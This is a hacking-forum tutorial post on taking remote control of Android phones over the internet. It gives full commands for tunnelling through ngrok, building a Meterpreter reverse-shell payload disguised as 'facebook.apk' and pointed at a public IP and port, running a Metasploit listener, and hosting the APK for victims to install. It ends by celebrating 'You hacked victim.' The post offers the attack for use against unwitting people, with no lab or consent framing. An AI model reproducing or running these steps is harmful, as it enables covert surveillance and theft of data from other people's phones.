• We just launched and are currently in beta. Join us as we build and grow the community.

How to Hack Android Phone over the WAN

Innovative

Crossover Specialist
I Rep
0
0
0
Rep
0
I Vouches
0
0
0
Vouches
0
Posts
89
Likes
189
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 300 XP
Android.png


As you know we already discussed about android hacking over LAN ( Local Area Network ). Click here to see. Now in this article we will talk about how to access any android phone over WAN ( Wide Area Network ) without port forwarding.

What is LAN ?

Local area network is also known as computer network which can be used only for limited area such as college, university, campus, office etc.

What is WAN ?

Wide area network is a telecommunication network which can be used for large geographical communication purpose.

How Ngrok works?

Ngork is like a reverse proxy which create a tunnel between server and client and when client access your webserver, the traffic will come to you through the ngrok proccess. In simple words, the ngrok convert your localhost into public.

Lets Begin !!

We need to first signup on ngrok.

1-1024x275.png


After signup go to ngrok dashboard, copy the ngrok token and download it on the basis of your operating system (OS).

2.png


Start your kali linux and navigate terminal on desktop. Now unzip the ngrok file and place it in your favorite directory.

3.png


Paste your token where you have placed the ngrok file.

4.png


After pasting the token you will observe ngrok file will be created automatically. You need to go on that file and paste the below given code.

nano /root/.ngrok2/ngrok.yml1nano/root/.ngrok2/ngrok.yml
tunnels:
httpbin:
proto: http
addr: 80
demo:
proto: tcp
addr: 44441234567tunnels:httpbin:proto:httpaddr:80demo:proto:tcpaddr:4444

5.png


That’s it ! You have done the configuration of ngrok.

Start your ngrok server using the following commands.

./ngrok start --all1./ngrok start--all

6-1.png


When the connection established two terminals will open in front of you. Now copy the highlighted TCP tunnel, go to the new terminal and ping it there so that we can get the public IP address.

ping 0.tcp.ngrok.io1ping0.tcp.ngrok.io

7.png


You need one public port which you will get in terminal.

8.png


After getting IP address and port you need to create a payload using the following command.

msfvenom -p android/meterpreter/reverse_tcp lhost=3.13.191.225 lport=14416 R > facebook.apk1msfvenom-pandroid/meterpreter/reverse_tcp lhost=3.13.191.225lport=14416R>facebook.apk

9.png


For controlling this payload start metasploit framework and execute the following commands.

msfconsole1msfconsole
se exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
exploit12345se exploit/multi/handler set payload android/meterpreter/reverse_tcpset lhost0.0.0.0set lport4444exploit

10.png


If you want to share your payload to anyone so configure apache on kali linux and move payload on that directory as given below.

11.png


You can use this link for sharing the payload which you will get on terminal.

12.png


Once victim installed and open the payload, you will observe meterpreter session will open.

13.png


BOOM !! You hacked victim.
 

431,509

312,456

312,465

Top